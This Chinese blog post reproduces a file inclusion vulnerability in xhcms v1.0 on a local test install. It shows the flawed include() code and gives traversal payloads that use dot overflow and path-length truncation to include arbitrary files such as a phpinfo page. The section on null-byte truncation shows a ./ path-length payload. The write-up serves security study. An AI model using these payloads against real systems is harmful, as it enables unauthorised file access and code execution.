xhcms v1.0漏洞复现

一、文件包含

Ex. 1

文件包含函数中存在变量,可能存在文件包含漏洞 /index.php include('files/'.$action.'.php'); //载入相应文件

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

这里直接将GET接收到的r参数,使用addslashes()转义,然后赋值给$action,但没有对$action进行充分的验证。因为GET传进来的r参数是可控的,攻击者可以通过修改URL中的'r'参数来包含任意文件,导致文件包含漏洞。

后面拼接了.php,所以要想办法将他去掉。这里可以使用00截断、.号溢出、?方式进行截断,不过都有php版本限制。

在项目根目录下放一个文件1.txt,内容为<?php phpinfo();?>

.号溢出
Windows的文件名字最后面加.是不影响文件的,Windows文件名的最大长度是260个字节,后面超出部分被丢弃。
需要满足条件:php版本=5.2.17、Virtual Directory Support=enable
payload:
?r=../1.txt........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
00截断的原理:在PHP版本低于5.3.4时,如果文件名或URL参数中包含空字符(ASCII码为0的字符,即chr(0)),这个空字符会导致其后面的所有字符被忽略或丢弃。这通常用于绕过文件名扩展名的检查,使得攻击者能够上传或执行非法文件。
​
00截断利用条件 //此处由于addslashes()函数导致不可用
1、magic_quotes_gpc =off
2、php版本小于5.3.4
payload:
?r=../1.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

也可以使用…/来实现路径穿越,但后缀只能是.php

本来是包含files文件夹下的php文件,通过目录穿越我们尝试包含创建的phpinfo.php文件

image-20240902203508811

http://127.0.0.1/xhcms/?r=../phpinfo

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值